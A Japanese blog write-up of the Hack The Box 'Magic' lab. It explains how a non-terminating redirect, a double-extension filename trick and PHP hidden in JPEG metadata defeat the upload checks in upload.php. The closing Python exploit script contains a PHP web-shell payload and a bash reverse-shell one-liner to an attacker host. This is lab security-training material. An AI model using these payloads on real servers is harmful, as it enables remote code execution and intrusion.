【Hack the Box】Magicをやってみた

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいです。
[OSWE Prep — Hack The Box Magic]
(https://ranakhalil101.medium.com/oswe-prep-hack-the-box-magic-f173e2d09125)

#未検証のリダイレクト
upload.phpの2~6行目のupload.phpのリダイレクト機能

``` upload.php
  2 session_start();
  3
  4 if (!isset($_SESSION['user_id'])) {
  5     header("Location: login.php");
  6 }
```
- 2行目：セッションを作成する`session_start()`を呼び出す。またはGET、POSTリクエスト、またはCookieを介して渡されたセッション識別子に基づいて現在のセッションを再開する。

- 4〜6行目：`isset()`を呼び出して、ユーザーがログインしているかどうかを確認する。 `$ _SESSION`パラメータの`user_id`インデックスがnullでないかどうかで判断している。 ユーザーがログインしていない場合は、`header()`が呼び出され、ユーザーがログインページにリダイレクトされる。

セッション情報は、`/var/lib/php/sessions`に保存されます。sess_6aen…は、有効な認証情報でログインした際に作成されましたセッションです。セッション情報を確認すると`isset()`が呼び出されると、trueとなり、ログインページへのリダイレクトがスキップされています。

```
root@ubuntu:/var/lib/php/sessions# cat sess_6aengltqst8pck0jccrlkgmb8h 
user_id|s:1:"1";
```

ユーザーが有効なセッションIDを持っていない場合、ユーザーはリダイレクトされます。しかし6行目以降のコードはリダイレクト前のHTTPリクエストに引き続きレンダリングされます。 そのため、プロキシでリダイレクトを停止すると、アップロード機能が確認できます。

#ファイルアップロード機能の脆弱性
7〜44行目は、アップロード機能となっていて、検証方法はが2つです。1つ目はファイル形式をチェックし、2つ目はマジックバイトを使用してファイル形式をチェックします。

```upload.php
  7 $target_dir = "images/uploads/";
  8 $target_file = $target_dir . basename($_FILES["image"]["name"]);
  9 $uploadOk = 1;
 10 $allowed = array('2', '3');
 11
 12 // Check if image file is a actual image or fake image
 13 if (isset($_POST["submit"])) {
 14     // Allow certain file formats
 15     $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
 16     if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != >
 17         echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')

 18         $uploadOk = 0;
 19     }
 20
 21     if ($uploadOk === 1) {
 22         // Check if image is actually png or jpg using magic bytes
 23         $check = exif_imagetype($_FILES["image"]["tmp_name"]);
 24         if (!in_array($check, $allowed)) {
 25             echo "<script>alert('What are you trying to do there?')</script>";
 26             $uploadOk = 0;
 27         }
 28     }
 29     //Check file contents
 30     /*$image = file_get_contents($_FILES["image"]["tmp_name"]);
 31     if (strpos($image, "<?") !== FALSE) {
 32         echo "<script>alert('Detected \"\<\?\". PHP is not allowed!')</script>";
 33         $uploadOk = 0;
 34     }*/
 35
 36     // Check if $uploadOk is set to 0 by an error
 37     if ($uploadOk === 1) {
 38         if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
 39             echo "The file " . basename($_FILES["image"]["name"]) . " has been u>
 40         } else {
 41             echo "Sorry, there was an error uploading your file.";
 42         }
 43     }
 44 }
```

14〜19行目では、ファイル形式がJPG、PNG、JPEG以外のものであるかどうかを確認しています。

```upload.php
 14     // Allow certain file formats
 15     $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
 16     if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != >
 17         echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')

 18         $uploadOk = 0;
 19     }
```

- 15行目：アップロードされたファイルを取り込み、`PATHINFO_EXTENSION`オプションでファイルの拡張子を取り除き、`imageFileType`に保存する`pathinfo()`を呼び出します。 このオプションhはファイルに複数の拡張子がある場合、最後の拡張子を削除します。
- 16〜18行目：ファイル拡張子がjpg、png、jpegであるかを確認し、そうでない場合は、ファイルのアップロードは失敗します。

`PATHINFO_EXTENSION`オプションは最後の拡張子のみを削除するため、ファイルに複数の拡張子がある場合、例えば「test.php.png」のような名前をつければ、ファイル拡張子がpngであると認識されます。

2つめの検証は21〜28行目で、マジックバイトで画像が実際にpngまたはjepgであることを確認しています。

```upload.php
 21     if ($uploadOk === 1) {
 22         // Check if image is actually png or jpg using magic bytes
 23         $check = exif_imagetype($_FILES["image"]["tmp_name"]);
 24         if (!in_array($check, $allowed)) {
 25             echo "<script>alert('What are you trying to do there?')</script>";
 26             $uploadOk = 0;
 27         }
 28     }
```

- 23行目：アップロードされたファイルの最初のバイトを読み取り、署名をチェックする`exif_imagetype()`を呼び出します。正しい署名が見つかると、適切な定数値が返されます（GIFの場合は1、JPEGの場合は2、PNGの場合は3など）。それ以外の場合、戻り値はFalseです。
- 23〜27行目：`in_array()`で、`exif_imagetype()`から出力された定数値が、スクリプトの開始時に2と3に初期化された許可された値の配列に存在するかどうかを確認します。したがって、この検証チェックのみJPEGおよびPNG画像の署名を受け入れます。
`exif_imagetype()`は、署名を確認するために画像の最初のバイトのみを読み取ります。この検証をバイパスするには`exiftool()`で既存のJPEGまたはPNGファイルにバックドアを追加するだけで済みます。コードの残りの行は、ファイルが上記の2つの検証をパスした後、ディレクトリ`images/uploads`にファイルをアップロードします。

```upload.php
 36     // Check if $uploadOk is set to 0 by an error
 37     if ($uploadOk === 1) {
 38         if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
 39             echo "The file " . basename($_FILES["image"]["name"]) . " has been u>
 40         } else {
 41             echo "Sorry, there was an error uploading your file.";
 42         }
 43     }
```

RCEを実行するスクリプトは以下のようになります。

```htb-magic-exploit.py
# Developed using Python 2.7
# Refer to Usage Instructions in main method 

import requests
import urllib
import sys

# To enable the proxy uncomment the following code
'''
proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
        }
'''

# And comment the following code
proxies = {
    'http': None,
    'https': None
}


def upload_image(ip_address,image_file):
    print("-----------------------------------------------")
    print("----------------Uploading File-----------------")
    print("-----------------------------------------------")
    url_upload = 'http://' + ip_address + '/upload.php'
    files = {
        'image': (image_file, open(image_file, 'rb'),'image/jpeg'),
        'submit': (None, 'Upload Image')
        }
    postdata = requests.post(url_upload, files=files,allow_redirects=False, proxies=proxies)
    print('File uploaded!')
    print("")

def call_image(ip_address, cmd, image_file):
    print("-----------------------------------------------")
    print("-------Calling File & Executing Payload--------")
    print("-----------------------------------------------")
    cmd_encoded = urllib.quote(cmd)
    url_call_upload = 'http://' + ip_address + '/images/uploads/' + image_file + '?cmd=' + cmd_encoded
    getdata = requests.get(url_call_upload, allow_redirects=False, proxies=proxies)
    print(getdata.text)
    print("")


def main():
    if len(sys.argv) < 4:
        print("-----------------------------------------------")
        print("-------------Usage Instructions----------------")
        print("-----------------------------------------------")
        print("The program requires three arguments: (1) Ip address (2) Malicious image file & (3) Command to run on the server.")
        print("Example Run Command: python upload.py 10.10.10.185 cat.php.jpeg ls")
        print("")
        print("--------Generate Malicious JPEG Image----------")
        print("Download a valid jpeg image and run the following command on the image to include a php web shell.")
        print("Command: exiftool -Comment='<?php system($_GET['cmd']); ?>' <image.jpeg>")
        print("Change the image extension to .php.jpeg")
        print("Then place image in the same directory as this script")
        print("")
        print("--------Commands to get Reverse Shell----------")
        print("Setup netcat listener on attack machine: nc -nlvp 443")
        print("Run script: python upload.py <target-ip> <image.php.jpeg> \"bash -c 'bash -i >& /dev/tcp/<attack-ip>/443 0>&1'\"")
        sys.exit(1)

    print("-----------------------------------------------")
    print("------------Initializing Variables-------------")
    print("-----------------------------------------------")
    ip_address = sys.argv[1]
    image_file = sys.argv[2]
    cmd = sys.argv[3]
    print ("IP address: %s" % ip_address)
    print ("Image to upload: %s" % image_file)
    print ("Command to run: %s" % cmd)
    print("")
    upload_image(ip_address, image_file)
    call_image(ip_address, cmd, image_file)

if __name__ == "__main__":
    main()
```